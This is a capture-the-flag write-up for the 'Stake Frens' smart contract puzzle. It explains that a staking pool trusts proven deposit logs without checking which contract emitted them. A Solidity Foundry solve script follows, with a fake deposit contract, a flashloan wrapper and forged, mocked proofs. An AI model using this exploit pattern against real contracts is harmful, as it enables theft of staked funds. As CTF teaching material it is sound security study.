Puzzle #22
Stake Frens
Author
0xb49bf876be26435b6fae1ef42c3c82c5867fa149
chainlight.io

Write-up for Stake Frens

Overview

This challenge is roughly based on an idea to use proofs of log emissions (using e.g. Relic Protocol) from the ETH2 deposit contract to build a simple staking pool contract. The idea has a few flaws, but the implementation used in this challenge has a major flaw: the address which emitted the log is not validated to equal the deposit contract. As a result, an attacker can create a contract which emits a DepositEvent without actually requiring an ETH2 deposit.

To simplify the challenge and enable an atomic solution, the goal of the challenge is simply to convince a wrapper contract that the "deposit contract" reverted due to an impossible failure (ETH deposited is greater than 2642^{64} gwei). Instead, the attacker's fake deposit contract can be writted to revert with this same message. This highlights that revert messages should almost never be used to infer an actual failure reason.

Solving the puzzle

The attacker creates a contract which emits a fake DepositEvent matching the validation logic for some FrenPool. The get_deposit_root() method of this contract should be written to revert with the required message.

Once the crafted event is included on chain, the Relic SDK can be used to fetch a proof of this log emission, which can be passed to the FrenPool to perform the attack.

If the attack is performed correctly, 16 ETH is required to be passed to the contract, but it will all be returned to the attacker. As a result, a zero-fee flashloan can be used to perform this attack with minimal ETH requirements.

Solve script

Check out our solve script below or on GitHub for more details.

Note: To simplify testing, our solve script includes some Foundry hacks for mocking out the Relic proofs. When performing the attack on-chain, these portions must be done in separate transactions using an actual proof constructed for Relic Protocol.

SoliditySolidity's logo.Solve.s.sol
1
// SPDX-License-Identifier: UNLICENSED
2
pragma solidity ^0.8.13;
3
4
import {Test, console2} from "forge-std/Test.sol";
5
import {IReliquary} from "relic-sdk/packages/contracts/interfaces/IReliquary.sol";
6
import {IProver} from "relic-sdk/packages/contracts/interfaces/IProver.sol";
7
import {Fact, FactSignature} from "relic-sdk/packages/contracts/lib/Facts.sol";
8
import {FactSigs} from "relic-sdk/packages/contracts/lib/FactSigs.sol";
9
import {CoreTypes} from "relic-sdk/packages/contracts/lib/CoreTypes.sol";
10
import {IDepositEvents, IDepositContract} from "../src/interfaces/IDepositContract.sol";
11
import {FrenPool} from "../src/FrenPool.sol";
12
import {StakeFrens} from "../src/StakeFrens.sol";
13
import {FrenCoin} from "../src/FrenCoin.sol";
14
import {RelicMock} from "./RelicMock.sol";
15
import {ETHFlashloan} from "./ETHFlashloan.sol";
16
17
contract FakeDepositContract is IDepositContract {
18
function makeFakeDeposit(
19
bytes calldata pubkey,
20
bytes calldata withdrawal_credentials,
21
bytes calldata amount,
22
bytes calldata signature,
23
bytes calldata index
24
) external {
25
emit DepositEvent(
26
pubkey,
27
withdrawal_credentials,
28
amount,
29
signature,
30
index
31
);
32
}
33
34
function deposit(
35
bytes calldata ,
36
bytes calldata ,
37
bytes calldata ,
38
bytes32
39
) external payable {
40
revert();
41
}
42
43
function get_deposit_count() external pure returns (bytes memory) {
44
revert();
45
}
46
47
function get_deposit_root() external pure returns (bytes32) {
48
revert("DepositContract: deposit value too high");
49
}
50
}
51
52
contract Solver is ETHFlashloan {
53
function callback(bytes calldata data) internal override {
54
(
55
FrenCoin coin,
56
address creator,
57
address prover,
58
FrenPool.DepositProof memory proof
59
) = abi.decode(
60
data,
61
(FrenCoin, address, address, FrenPool.DepositProof)
62
);
63
coin.showFrenship{value: 16 ether}(creator, prover, proof);
64
}
65
66
function solve(
67
FrenCoin coin,
68
address creator,
69
address prover,
70
FrenPool.DepositProof calldata proof
71
) external payable {
72
assert(msg.value == FLASHLOAN_FEE);
73
flashLoan(16 ether, abi.encode(coin, creator, prover, proof));
74
coin.transfer(msg.sender, coin.balanceOf(address(this)));
75
}
76
}
77
78
contract Solve is RelicMock, Test, IDepositEvents {
79
IReliquary constant RELIQUARY =
80
IReliquary(0x5E4DE6Bb8c6824f29c44Bd3473d44da120387d08);
81
address constant RELIC_MULTISIG =
82
0xCCEf16C5ac53714512A5Acce5Fa1984A977351bE;
83
address constant RELIC_LOG_PROVER =
84
0xED12949e9a2cF4D86a2d0cF930247214Ea84aA4e;
85
86
StakeFrens stakeFrens;
87
FrenCoin frenCoin;
88
89
constructor() RelicMock(RELIQUARY, RELIC_MULTISIG) {}
90
91
function setup() public {
92
stakeFrens = new StakeFrens();
93
frenCoin = stakeFrens.frenCoin();
94
}
95
96
function to_little_endian_64(
97
uint64 value
98
) internal pure returns (bytes memory ret) {
99
ret = new bytes(8);
100
bytes8 bytesValue = bytes8(value);
101
// Byteswapping during copying to bytes.
102
ret[0] = bytesValue[7];
103
ret[1] = bytesValue[6];
104
ret[2] = bytesValue[5];
105
ret[3] = bytesValue[4];
106
ret[4] = bytesValue[3];
107
ret[5] = bytesValue[2];
108
ret[6] = bytesValue[1];
109
ret[7] = bytesValue[0];
110
}
111
112
function setupMockProof(
113
FakeDepositContract fake
114
) internal returns (FrenPool.DepositProof memory proof) {
115
bytes32[] memory topics = new bytes32[](1);
116
topics[0] = DepositEvent.selector;
117
bytes memory pubkey = new bytes(48);
118
bytes memory withdrawal_credentials = stakeFrens.pools(address(this)).eth1WithdrawalCredentials();
119
uint256 deposit_amount = 16 ether;
120
DepositEventData memory deposit = DepositEventData(
121
pubkey,
122
withdrawal_credentials,
123
to_little_endian_64(uint64(deposit_amount / 1 gwei)),
124
new bytes(96),
125
""
126
);
127
CoreTypes.LogData memory log = CoreTypes.LogData(
128
address(fake),
129
topics,
130
abi.encode(deposit)
131
);
132
bytes memory data = abi.encode(log);
133
FactSignature sig = FactSigs.logFactSig(0, 0, 0);
134
Fact memory fact = Fact(address(fake), sig, data);
135
proof = FrenPool.DepositProof(0, 0, 0, bytes32(0), mockProof(fact));
136
}
137
138
function getMockProverAndProof(
139
FakeDepositContract fake
140
) internal returns (address prover, FrenPool.DepositProof memory proof) {
141
prover = setupMockProver();
142
proof = setupMockProof(fake);
143
}
144
145
function getRealProverAndProof(
146
FakeDepositContract fake
147
) internal returns (address prover, FrenPool.DepositProof memory proof) {
148
prover = RELIC_LOG_PROVER;
149
150
bytes memory pubkey = new bytes(48);
151
bytes memory withdrawal_credentials = stakeFrens.pools(address(this)).eth1WithdrawalCredentials();
152
uint256 deposit_amount = 16 ether;
153
154
// we should broadcast this
155
fake.makeFakeDeposit(
156
pubkey,
157
withdrawal_credentials,
158
to_little_endian_64(uint64(deposit_amount / 1 gwei)),
159
new bytes(96),
160
""
161
);
162
// TODO: fetch relic proof and finish attack
163
}
164
165
function solve() internal {
166
stakeFrens.createPool();
167
FakeDepositContract fake = new FakeDepositContract();
168
(
169
address prover,
170
FrenPool.DepositProof memory proof
171
) = getMockProverAndProof(fake);
172
Solver solver = new Solver();
173
solver.solve{value: solver.FLASHLOAN_FEE()}(frenCoin, address(this), prover, proof);
174
uint256 seed = stakeFrens.generate(address(this));
175
uint256 amount = uint256(uint128(uint256(keccak256(abi.encode(seed)))));
176
uint256 balance = frenCoin.balanceOf(address(this));
177
require(balance > amount, "amount too small");
178
frenCoin.transfer(address(1), balance - amount);
179
require(stakeFrens.verify(seed, amount), "challenge not solved");
180
}
181
182
function test() public {
183
vm.createSelectFork("mainnet");
184
setup();
185
solve();
186
}
187
}
Waterfall